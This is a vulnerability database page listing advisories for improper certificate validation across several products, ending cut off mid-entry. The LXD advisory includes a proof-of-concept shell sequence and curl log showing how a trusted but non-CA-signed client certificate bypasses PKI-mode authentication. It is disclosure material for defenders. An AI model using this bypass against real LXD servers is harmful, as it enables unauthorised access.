Common Weakness Enumeration
CWE-295
AllowedImproper Certificate Validation
Abstraction: Base · Status: Draft
The product does not validate, or incorrectly validates, a certificate.
1908 vulnerabilities reference this CWE, most recent first.
GHSA-49FH-C382-5964
Vulnerability from github – Published: 2024-07-09 18:30 – Updated: 2024-07-09 18:30
VLAI
Details
An improper certificate validation vulnerability [CWE-295] in FortiWeb 7.2.0 through 7.2.1, 7.0 all versions, 6.4 all versions and 6.3 all versions may allow a remote and unauthenticated attacker in a Man-in-the-Middle position to decipher and/or tamper with the communication channel between the device and different endpoints used to fetch data for Web Application Firewall (WAF).
Severity
4.8 (Medium)
{
"affected": [],
"aliases": [
"CVE-2024-33509"
],
"database_specific": {
"cwe_ids": [
"CWE-295"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-09T16:15:05Z",
"severity": "MODERATE"
},
"details": "An improper certificate validation vulnerability [CWE-295] in FortiWeb 7.2.0 through 7.2.1, 7.0 all versions, 6.4 all versions and 6.3 all versions may allow a remote and unauthenticated attacker in a Man-in-the-Middle position to decipher and/or tamper with the communication channel between the device and different endpoints used to fetch data for Web Application Firewall (WAF).",
"id": "GHSA-49fh-c382-5964",
"modified": "2024-07-09T18:30:49Z",
"published": "2024-07-09T18:30:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-33509"
},
{
"type": "WEB",
"url": "https://fortiguard.fortinet.com/psirt/FG-IR-22-326"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-49MG-V9X7-JFQH
Vulnerability from github – Published: 2023-07-18 03:30 – Updated: 2024-04-04 06:12
VLAI
Details
Improper Validation of Certificate with Host Mismatch vulnerability in Hitachi Device Manager on Windows, Linux (Device Manager Server, Device Manager Agent, Host Data Collector components) allows Man in the Middle Attack.This issue affects Hitachi Device Manager: before 8.8.5-02.
Severity
5.6 (Medium)
{
"affected": [],
"aliases": [
"CVE-2023-34143"
],
"database_specific": {
"cwe_ids": [
"CWE-295",
"CWE-297"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-07-18T03:15:55Z",
"severity": "HIGH"
},
"details": "Improper Validation of Certificate with Host Mismatch vulnerability in Hitachi Device Manager on Windows, Linux (Device Manager Server, Device Manager Agent, Host Data Collector components) allows Man in the Middle Attack.This issue affects Hitachi Device Manager: before 8.8.5-02.\n\n",
"id": "GHSA-49mg-v9x7-jfqh",
"modified": "2024-04-04T06:12:17Z",
"published": "2023-07-18T03:30:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-34143"
},
{
"type": "WEB",
"url": "https://www.hitachi.com/products/it/software/security/info/vuls/hitachi-sec-2023-125/index.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-4C49-9FPC-HC3V
Vulnerability from github – Published: 2024-12-09 23:26 – Updated: 2024-12-11 21:16
VLAI
Summary
lxd CA certificate sign check bypass
Details
Summary
If a server.ca file is present in LXD_DIR at LXD start up, LXD is in "PKI mode". In this mode, only TLS clients that have a CA-signed certificate should be able to authenticate with LXD.
We have discovered that if a client that sends a non-CA signed certificate during the TLS handshake, that client is able to authenticate with LXD if their certificate is present in the trust store.
- The LXD Go client (and by extension lxc) does not send non-CA signed certificates during the handshake.
- A manual client (e.g. cURL) might send a non-CA signed certificate during the handshake.
Versions affected
LXD 4.0 and above.
Details
When PKI mode was added to LXD it was intended that all client and server certificates must be signed by the certificate authority (see https://github.com/canonical/lxd/pull/2070/commits/84d917bdcca6fe1e3191ce47f1597c7d094e1909).
In PKI mode, the TLS listener configuration is altered to add the CA certificate but the ClientAuth field of tls.Config is not changed. The ClientAuth field is set to tls.RequestClientCert, which configures the TLS connection to request a certificate from the client, but not require one. This is necessary because untrusted requests are allowed for some endpoints.
If a client certificate is present in the trust store before PKI mode is enabled, calls to LXD using that certificate fail when using the Go client for LXD. I believe that what is happening is as follows:
- During the TLS handshake, the server requests a certificate from the client. The server includes in it's request a list of acceptable CAs.
- The go client receives the request from the server, but does not have any certificates that match what the server requires, and so does not send any.
- The server considers the handshake complete because it does not absolutely require the client certificate (see above).
- In the (*Daemon).Authenticate method, when checking for TLS clients, there are no PeerCertificates in the request. So util.CheckTrustState is never called and the request is denied.
Importantly, the above does not apply if the client sends a certificate during the handshake anyway. If this occurs and the certificate is present in the trust store, the request is trusted and is allowed to continue. It is possible to do this using cURL*.
PoC
The follow snippet demonstrates the vulnerability:
# Install/initialize LXD
$ snap install lxd --channel 5.21/stable
$ lxd init --auto
$ lxc config set core.https_address=127.0.0.1:8443
# Add a certificate to the trust store before enabling PKI.
$ token="$(lxc config trust add --name ca-test --quiet)"
$ lxc remote add tls "${token}"
# Use easyrsa for configuring CA: https://github.com/OpenVPN/easy-rsa
$ cp -R /usr/share/easy-rsa "/tmp/pki"
$ export EASYRSA_KEY_SIZE=4096
$ cd /tmp/pki
$ ./easyrsa init-pki
$ echo "lxd" | ./easyrsa build-ca nopass
$ cp pki/ca.crt /var/snap/lxd/common/lxd/server.ca
# Restart daemon.
$ systemctl reload snap.lxd.daemon
# Using curl with the client certificate we expect a 403 Forbidden response.
# Instead we get a 200 OK and we are able to view the response body.
$ cat ~/snap/lxd/common/config/client.crt ~/snap/lxd/common/config/client.key > ~/snap/lxd/common/config/client.pem
$ curl -s --cert ~/snap/lxd/common/config/client.pem --cacert /var/snap/lxd/common/lxd/server.crt https://127.0.0.1:8443/1.0" | jq '.metadata.config."core.https_address"'
Impact
I believe this has a low impact for the following reasons: * PKI mode is unlikely to have a large user base. * PKI is likely to be configured at start up without any previous certificates in the trust store. * Authentication is not bypassed entirely, the client certificate must already be trusted.
Notes
- I am not certain why cURL sends the certificate during the handshake but we can see it in the logs:
* Trying 127.0.0.1:8443...
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0* Connected to 127.0.0.1 (127.0.0.1) port 8443 (#0)
* ALPN, offering h2
* ALPN, offering http/1.1
* CAfile: /var/lib/lxd/server.crt
* CApath: /etc/ssl/certs
* TLSv1.0 (OUT), TLS header, Certificate Status (22):
} [5 bytes data]
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
} [512 bytes data]
0 0 0 0 0 0 0 0 --:--:-- 0:00:03 --:--:-- 0* TLSv1.2 (IN), TLS header, Certificate Status (22):
{ [5 bytes data]
* TLSv1.3 (IN), TLS handshake, Server hello (2):
{ [122 bytes data]
* TLSv1.2 (IN), TLS header, Finished (20):
{ [5 bytes data]
* TLSv1.2 (IN), TLS header, Supplemental data (23):
{ [5 bytes data]
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
{ [15 bytes data]
* TLSv1.2 (IN), TLS header, Supplemental data (23):
{ [5 bytes data]
* TLSv1.3 (IN), TLS handshake, Request CERT (13):
{ [69 bytes data]
* TLSv1.2 (IN), TLS header, Supplemental data (23):
{ [5 bytes data]
* TLSv1.3 (IN), TLS handshake, Certificate (11):
{ [496 bytes data]
* TLSv1.2 (IN), TLS header, Supplemental data (23):
{ [5 bytes data]
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
{ [111 bytes data]
* TLSv1.2 (IN), TLS header, Supplemental data (23):
{ [5 bytes data]
* TLSv1.3 (IN), TLS handshake, Finished (20):
{ [36 bytes data]
* TLSv1.2 (OUT), TLS header, Finished (20):
} [5 bytes data]
* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
} [1 bytes data]
* TLSv1.2 (OUT), TLS header, Supplemental data (23):
} [5 bytes data]
* TLSv1.3 (OUT), TLS handshake, Certificate (11): <<<<<<<<< HERE
} [455 bytes data]
* TLSv1.2 (OUT), TLS header, Supplemental data (23):
} [5 bytes data]
* TLSv1.3 (OUT), TLS handshake, CERT verify (15):
} [111 bytes data]
* TLSv1.2 (OUT), TLS header, Supplemental data (23):
} [5 bytes data]
* TLSv1.3 (OUT), TLS handshake, Finished (20):
} [36 bytes data]
* SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256
* ALPN, server accepted to use h2
* Server certificate:
* subject: O=LXD; CN=root@RUBIX
* start date: Apr 2 15:27:39 2024 GMT
* expire date: Mar 31 15:27:39 2034 GMT
* subjectAltName: host "127.0.0.1" matched cert's IP address!
* issuer: O=LXD; CN=root@RUBIX
* SSL certificate verify ok.
* Using HTTP2, server supports multiplexing
* Connection state changed (HTTP/2 confirmed)
* Copying HTTP/2 data in stream buffer to connection buffer after upgrade: len=0
* TLSv1.2 (OUT), TLS header, Supplemental data (23):
} [5 bytes data]
* TLSv1.2 (OUT), TLS header, Supplemental data (23):
} [5 bytes data]
* TLSv1.2 (OUT), TLS header, Supplemental data (23):
} [5 bytes data]
* Using Stream ID: 1 (easy handle 0x601ce9c4feb0)
* TLSv1.2 (OUT), TLS header, Supplemental data (23):
} [5 bytes data]
> GET /1.0 HTTP/2
> Host: 127.0.0.1:8443
> user-agent: curl/7.81.0
> accept: */*
>
* TLSv1.2 (IN), TLS header, Supplemental data (23):
{ [5 bytes data]
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
{ [569 bytes data]
* TLSv1.2 (IN), TLS header, Supplemental data (23):
{ [5 bytes data]
* Connection state changed (MAX_CONCURRENT_STREAMS == 250)!
* TLSv1.2 (OUT), TLS header, Supplemental data (23):
} [5 bytes data]
* TLSv1.2 (IN), TLS header, Supplemental data (23):
{ [5 bytes data]
* TLSv1.2 (IN), TLS header, Supplemental data (23):
{ [5 bytes data]
* TLSv1.2 (IN), TLS header, Supplemental data (23):
{ [5 bytes data]
< HTTP/2 200
< content-type: application/json
< etag: "a1147bd1cd26e0b98e4c4400be3c17d5de3d865a045b6e609c6a8ee1aba8c1a1"
< date: Mon, 17 Jun 2024 21:25:46 GMT
<
* TLSv1.2 (IN), TLS header, Supplemental data (23):
{ [5 bytes data]
* TLSv1.2 (IN), TLS header, Supplemental data (23):
{ [5 bytes data]
* TLSv1.2 (IN), TLS header, Supplemental data (23):
{ [5 bytes data]
100 11659 0 11659 0 0 3401 0 --:--:-- 0:00:03 --:--:-- 3402
* Connection #0 to host 127.0.0.1 left intact
Severity
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/canonical/lxd"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20240708073652-5a492a3f0036"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-6156"
],
"database_specific": {
"cwe_ids": [
"CWE-295"
],
"github_reviewed": true,
"github_reviewed_at": "2024-12-09T23:26:16Z",
"nvd_published_at": "2024-12-06T00:15:04Z",
"severity": "LOW"
},
"details": "### Summary\nIf a `server.ca` file is present in `LXD_DIR` at LXD start up, LXD is in \"PKI mode\". In this mode, only TLS clients that have a CA-signed certificate should be able to authenticate with LXD.\n\nWe have discovered that if a client that sends a non-CA signed certificate during the TLS handshake, that client is able to authenticate with LXD if their certificate is present in the trust store.\n - The LXD Go client (and by extension `lxc`) does not send non-CA signed certificates during the handshake.\n - A manual client (e.g. `cURL`) might send a non-CA signed certificate during the handshake.\n\n#### Versions affected\nLXD 4.0 and above.\n\n### Details\nWhen PKI mode was added to LXD it was intended that all client and server certificates *must* be signed by the certificate authority (see https://github.com/canonical/lxd/pull/2070/commits/84d917bdcca6fe1e3191ce47f1597c7d094e1909). \n\nIn PKI mode, the TLS listener configuration is altered to add the CA certificate but the `ClientAuth` field of `tls.Config` is not changed. The `ClientAuth` field is set to `tls.RequestClientCert`, which configures the TLS connection to request a certificate from the client, but not require one. This is necessary because untrusted requests are allowed for some endpoints.\n\nIf a client certificate is present in the trust store before PKI mode is enabled, calls to LXD using that certificate fail *when using the Go client for LXD*. I believe that what is happening is as follows:\n- During the TLS handshake, the server requests a certificate from the client. The server includes in it\u0027s request a list of acceptable CAs.\n- The go client receives the request from the server, but does not have any certificates that match what the server requires, and so does not send any.\n- The server considers the handshake complete because it does not absolutely require the client certificate (see above).\n- In the `(*Daemon).Authenticate` method, when checking for TLS clients, there are no `PeerCertificates` in the request. So `util.CheckTrustState` is never called and the request is denied.\n\nImportantly, the above does not apply if the client sends a certificate during the handshake anyway. If this occurs and the certificate is present in the trust store, the request is trusted and is allowed to continue. It is possible to do this using cURL*.\n\n### PoC\nThe follow snippet demonstrates the vulnerability:\n\n```\n# Install/initialize LXD\n$ snap install lxd --channel 5.21/stable\n$ lxd init --auto\n$ lxc config set core.https_address=127.0.0.1:8443\n\n# Add a certificate to the trust store before enabling PKI.\n$ token=\"$(lxc config trust add --name ca-test --quiet)\"\n$ lxc remote add tls \"${token}\"\n\n# Use easyrsa for configuring CA: https://github.com/OpenVPN/easy-rsa\n$ cp -R /usr/share/easy-rsa \"/tmp/pki\"\n$ export EASYRSA_KEY_SIZE=4096\n$ cd /tmp/pki\n$ ./easyrsa init-pki\n$ echo \"lxd\" | ./easyrsa build-ca nopass\n$ cp pki/ca.crt /var/snap/lxd/common/lxd/server.ca\n\n# Restart daemon.\n$ systemctl reload snap.lxd.daemon\n\n# Using curl with the client certificate we expect a 403 Forbidden response.\n# Instead we get a 200 OK and we are able to view the response body.\n$ cat ~/snap/lxd/common/config/client.crt ~/snap/lxd/common/config/client.key \u003e ~/snap/lxd/common/config/client.pem\n$ curl -s --cert ~/snap/lxd/common/config/client.pem --cacert /var/snap/lxd/common/lxd/server.crt https://127.0.0.1:8443/1.0\" | jq \u0027.metadata.config.\"core.https_address\"\u0027\n```\n### Impact\n\nI believe this has a low impact for the following reasons:\n* PKI mode is unlikely to have a large user base.\n* PKI is likely to be configured at start up without any previous certificates in the trust store.\n* Authentication is not bypassed entirely, the client certificate must already be trusted.\n\n### Notes\n* I am not certain why cURL sends the certificate during the handshake but we can see it in the logs:\n```\n* Trying 127.0.0.1:8443...\n % Total % Received % Xferd Average Speed Time Time Time Current\n Dload Upload Total Spent Left Speed\n 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0* Connected to 127.0.0.1 (127.0.0.1) port 8443 (#0)\n* ALPN, offering h2\n* ALPN, offering http/1.1\n* CAfile: /var/lib/lxd/server.crt\n* CApath: /etc/ssl/certs\n* TLSv1.0 (OUT), TLS header, Certificate Status (22):\n} [5 bytes data]\n* TLSv1.3 (OUT), TLS handshake, Client hello (1):\n} [512 bytes data]\n 0 0 0 0 0 0 0 0 --:--:-- 0:00:03 --:--:-- 0* TLSv1.2 (IN), TLS header, Certificate Status (22):\n{ [5 bytes data]\n* TLSv1.3 (IN), TLS handshake, Server hello (2):\n{ [122 bytes data]\n* TLSv1.2 (IN), TLS header, Finished (20):\n{ [5 bytes data]\n* TLSv1.2 (IN), TLS header, Supplemental data (23):\n{ [5 bytes data]\n* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):\n{ [15 bytes data]\n* TLSv1.2 (IN), TLS header, Supplemental data (23):\n{ [5 bytes data]\n* TLSv1.3 (IN), TLS handshake, Request CERT (13):\n{ [69 bytes data]\n* TLSv1.2 (IN), TLS header, Supplemental data (23):\n{ [5 bytes data]\n* TLSv1.3 (IN), TLS handshake, Certificate (11):\n{ [496 bytes data]\n* TLSv1.2 (IN), TLS header, Supplemental data (23):\n{ [5 bytes data]\n* TLSv1.3 (IN), TLS handshake, CERT verify (15):\n{ [111 bytes data]\n* TLSv1.2 (IN), TLS header, Supplemental data (23):\n{ [5 bytes data]\n* TLSv1.3 (IN), TLS handshake, Finished (20):\n{ [36 bytes data]\n* TLSv1.2 (OUT), TLS header, Finished (20):\n} [5 bytes data]\n* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):\n} [1 bytes data]\n* TLSv1.2 (OUT), TLS header, Supplemental data (23):\n} [5 bytes data]\n* TLSv1.3 (OUT), TLS handshake, Certificate (11): \u003c\u003c\u003c\u003c\u003c\u003c\u003c\u003c\u003c HERE\n} [455 bytes data]\n* TLSv1.2 (OUT), TLS header, Supplemental data (23):\n} [5 bytes data]\n* TLSv1.3 (OUT), TLS handshake, CERT verify (15):\n} [111 bytes data]\n* TLSv1.2 (OUT), TLS header, Supplemental data (23):\n} [5 bytes data]\n* TLSv1.3 (OUT), TLS handshake, Finished (20):\n} [36 bytes data]\n* SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256\n* ALPN, server accepted to use h2\n* Server certificate:\n* subject: O=LXD; CN=root@RUBIX\n* start date: Apr 2 15:27:39 2024 GMT\n* expire date: Mar 31 15:27:39 2034 GMT\n* subjectAltName: host \"127.0.0.1\" matched cert\u0027s IP address!\n* issuer: O=LXD; CN=root@RUBIX\n* SSL certificate verify ok.\n* Using HTTP2, server supports multiplexing\n* Connection state changed (HTTP/2 confirmed)\n* Copying HTTP/2 data in stream buffer to connection buffer after upgrade: len=0\n* TLSv1.2 (OUT), TLS header, Supplemental data (23):\n} [5 bytes data]\n* TLSv1.2 (OUT), TLS header, Supplemental data (23):\n} [5 bytes data]\n* TLSv1.2 (OUT), TLS header, Supplemental data (23):\n} [5 bytes data]\n* Using Stream ID: 1 (easy handle 0x601ce9c4feb0)\n* TLSv1.2 (OUT), TLS header, Supplemental data (23):\n} [5 bytes data]\n\u003e GET /1.0 HTTP/2\n\u003e Host: 127.0.0.1:8443\n\u003e user-agent: curl/7.81.0\n\u003e accept: */*\n\u003e \n* TLSv1.2 (IN), TLS header, Supplemental data (23):\n{ [5 bytes data]\n* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):\n{ [569 bytes data]\n* TLSv1.2 (IN), TLS header, Supplemental data (23):\n{ [5 bytes data]\n* Connection state changed (MAX_CONCURRENT_STREAMS == 250)!\n* TLSv1.2 (OUT), TLS header, Supplemental data (23):\n} [5 bytes data]\n* TLSv1.2 (IN), TLS header, Supplemental data (23):\n{ [5 bytes data]\n* TLSv1.2 (IN), TLS header, Supplemental data (23):\n{ [5 bytes data]\n* TLSv1.2 (IN), TLS header, Supplemental data (23):\n{ [5 bytes data]\n\u003c HTTP/2 200 \n\u003c content-type: application/json\n\u003c etag: \"a1147bd1cd26e0b98e4c4400be3c17d5de3d865a045b6e609c6a8ee1aba8c1a1\"\n\u003c date: Mon, 17 Jun 2024 21:25:46 GMT\n\u003c \n* TLSv1.2 (IN), TLS header, Supplemental data (23):\n{ [5 bytes data]\n* TLSv1.2 (IN), TLS header, Supplemental data (23):\n{ [5 bytes data]\n* TLSv1.2 (IN), TLS header, Supplemental data (23):\n{ [5 bytes data]\n100 11659 0 11659 0 0 3401 0 --:--:-- 0:00:03 --:--:-- 3402\n* Connection #0 to host 127.0.0.1 left intact\n```",
"id": "GHSA-4c49-9fpc-hc3v",
"modified": "2024-12-11T21:16:17Z",
"published": "2024-12-09T23:26:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/canonical/lxd/security/advisories/GHSA-4c49-9fpc-hc3v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6156"
},
{
"type": "WEB",
"url": "https://github.com/canonical/lxd/commit/92468bb60f4f1edf38ff0434414bea4f28afa711"
},
{
"type": "PACKAGE",
"url": "https://github.com/canonical/lxd"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2024-3312"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-6156"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "lxd CA certificate sign check bypass"
}
GHSA-4CQM-XV6V-78C5
Vulnerability from github – Published: 2022-05-24 19:07 – Updated: 2022-05-24 19:07
VLAI
Details
Fossil before 2.14.2 and 2.15.x before 2.15.2 often skips the hostname check during TLS certificate validation.
{
"affected": [],
"aliases": [
"CVE-2021-36377"
],
"database_specific": {
"cwe_ids": [
"CWE-295"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-07-12T13:15:00Z",
"severity": "HIGH"
},
"details": "Fossil before 2.14.2 and 2.15.x before 2.15.2 often skips the hostname check during TLS certificate validation.",
"id": "GHSA-4cqm-xv6v-78c5",
"modified": "2022-05-24T19:07:31Z",
"published": "2022-05-24T19:07:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-36377"
},
{
"type": "WEB",
"url": "https://fossil-scm.org/forum/forumpost/8d367e16f53d93c789d70bd3bf2c9587227bbd5c6a7b8e512cccd79007536036"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/JBTRZ5HCOUTIIKJF3T37NORI4P7EVYCY"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-4CX5-3Q2W-5WR7
Vulnerability from github – Published: 2025-07-01 15:31 – Updated: 2025-07-01 15:31
VLAI
Details
An improper certificate validation vulnerability exists in AVTECH IP cameras, DVRs, and NVRs due to the use of wget with --no-check-certificate in scripts like SyncCloudAccount.sh and SyncPermit.sh. This exposes HTTPS communications to man-in-the-middle (MITM) attacks.
Severity
{
"affected": [],
"aliases": [
"CVE-2025-34066"
],
"database_specific": {
"cwe_ids": [
"CWE-295"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-01T15:15:25Z",
"severity": "HIGH"
},
"details": "An improper certificate validation vulnerability exists in AVTECH IP cameras, DVRs, and NVRs due to the use of wget with --no-check-certificate in scripts like SyncCloudAccount.sh and SyncPermit.sh. This exposes HTTPS communications to man-in-the-middle (MITM) attacks.",
"id": "GHSA-4cx5-3q2w-5wr7",
"modified": "2025-07-01T15:31:10Z",
"published": "2025-07-01T15:31:10Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-34066"
},
{
"type": "WEB",
"url": "https://avtech.com"
},
{
"type": "WEB",
"url": "https://vulncheck.com/advisories/avtech-ipcamera-nvr-dvr-mulitple-vulns"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20161029201749/https://github.com/ebux/AVTECH"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20240810225729/https://www.search-lab.hu/advisories/126-AVTech-devices-multiple-vulnerabilities"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/40500"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-4F68-49QQ-H392
Vulnerability from github – Published: 2021-05-24 18:12 – Updated: 2023-09-05 21:47
VLAI
Summary
Improper certificate validation in em-imap
Details
em-imap 0.5 and earlier use the library eventmachine in an insecure way that allows an attacker to perform a man-in-the-middle attack against users of the library. The hostname in a TLS server certificate is not verified.
Severity
7.4 (High)
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "em-imap"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-13163"
],
"database_specific": {
"cwe_ids": [
"CWE-295"
],
"github_reviewed": true,
"github_reviewed_at": "2021-05-20T22:25:15Z",
"nvd_published_at": "2020-05-19T22:15:00Z",
"severity": "HIGH"
},
"details": "em-imap 0.5 and earlier use the library eventmachine in an insecure way that allows an attacker to perform a man-in-the-middle attack against users of the library. The hostname in a TLS server certificate is not verified.",
"id": "GHSA-4f68-49qq-h392",
"modified": "2023-09-05T21:47:52Z",
"published": "2021-05-24T18:12:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-13163"
},
{
"type": "WEB",
"url": "https://github.com/ConradIrwin/em-imap/issues/25"
},
{
"type": "PACKAGE",
"url": "https://github.com/ConradIrwin/em-imap"
},
{
"type": "ADVISORY",
"url": "https://securitylab.github.com/advisories/GHSL-2020-095-conradirwin-em-imap"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Improper certificate validation in em-imap"
}
GHSA-4FGH-2VXJ-RHG5
Vulnerability from github – Published: 2022-05-13 01:32 – Updated: 2022-05-13 01:32
VLAI
Details
Philips IntelliSpace Portal all versions of 8.0.x, and 7.0.x have an SSL incorrect hostname certificate vulnerability this could allow an attacker to gain unauthorized access to resources and information.
Severity
7.5 (High)
{
"affected": [],
"aliases": [
"CVE-2018-5462"
],
"database_specific": {
"cwe_ids": [
"CWE-295"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-03-26T14:29:00Z",
"severity": "HIGH"
},
"details": "Philips IntelliSpace Portal all versions of 8.0.x, and 7.0.x have an SSL incorrect hostname certificate vulnerability this could allow an attacker to gain unauthorized access to resources and information.",
"id": "GHSA-4fgh-2vxj-rhg5",
"modified": "2022-05-13T01:32:07Z",
"published": "2022-05-13T01:32:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-5462"
},
{
"type": "WEB",
"url": "https://ics-cert.us-cert.gov/advisories/ICSMA-18-058-02"
},
{
"type": "WEB",
"url": "https://www.usa.philips.com/healthcare/about/customer-support/product-security"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/103182"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4G3G-C4GJ-WQR7
Vulnerability from github – Published: 2022-05-24 17:31 – Updated: 2024-11-26 18:38
VLAI
Details
A vulnerability in the host input API daemon of Cisco Firepower Management Center (FMC) Software could allow an unauthenticated, remote attacker to cause a denial of service (DoS) condition on an affected device. The vulnerability is due to improper certificate validation. An attacker could exploit this vulnerability by sending a crafted data stream to the host input daemon of the affected device. A successful exploit could allow the attacker to cause the host input daemon to restart. The attacker could use repeated attacks to cause the daemon to continuously reload, creating a DoS condition for the API.
Severity
5.3 (Medium)
{
"affected": [],
"aliases": [
"CVE-2020-3557"
],
"database_specific": {
"cwe_ids": [
"CWE-295"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-10-21T19:15:00Z",
"severity": "MODERATE"
},
"details": "A vulnerability in the host input API daemon of Cisco Firepower Management Center (FMC) Software could allow an unauthenticated, remote attacker to cause a denial of service (DoS) condition on an affected device. The vulnerability is due to improper certificate validation. An attacker could exploit this vulnerability by sending a crafted data stream to the host input daemon of the affected device. A successful exploit could allow the attacker to cause the host input daemon to restart. The attacker could use repeated attacks to cause the daemon to continuously reload, creating a DoS condition for the API.",
"id": "GHSA-4g3g-c4gj-wqr7",
"modified": "2024-11-26T18:38:40Z",
"published": "2022-05-24T17:31:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-3557"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-fmc-dos-3WymYWKh"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-4G9C-MHJQ-QV3G
Vulnerability from github – Published: 2022-05-13 01:24 – Updated: 2025-04-20 03:39
VLAI
Details
The "PCB Mobile" by Phelps County Bank app 3.0.2 -- aka pcb-mobile/id436891295 for iOS does not verify X.509 certificates from SSL servers, which allows man-in-the-middle attackers to spoof servers and obtain sensitive information via a crafted certificate.
Severity
5.9 (Medium)
{
"affected": [],
"aliases": [
"CVE-2017-9591"
],
"database_specific": {
"cwe_ids": [
"CWE-295"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-06-16T12:29:00Z",
"severity": "MODERATE"
},
"details": "The \"PCB Mobile\" by Phelps County Bank app 3.0.2 -- aka pcb-mobile/id436891295 for iOS does not verify X.509 certificates from SSL servers, which allows man-in-the-middle attackers to spoof servers and obtain sensitive information via a crafted certificate.",
"id": "GHSA-4g9c-mhjq-qv3g",
"modified": "2025-04-20T03:39:13Z",
"published": "2022-05-13T01:24:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-9591"
},
{
"type": "WEB",
"url": "https://medium.com/%40chronic_9612/advisory-44-credit-union-apps-for-ios-may-allow-login-credential-exposure-4d2f380b85c5"
},
{
"type": "WEB",
"url": "https://medium.com/@chronic_9612/advisory-44-credit-union-apps-for-ios-may-allow-login-credential-exposure-4d2f380b85c5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4GF7-M762-7XQ9
Vulnerability from github – Published: 2022-05-24 22:00 – Updated: 2023-02-03 21:30
VLAI
Details
IBM QRadar SIEM 7.2.8 WinCollect could allow an attacker to obtain sensitive information by spoofing a trusted entity using man in the middle techniques due to not validating or incorrectly validating a certificate. IBM X-Force ID: 160072.
Severity
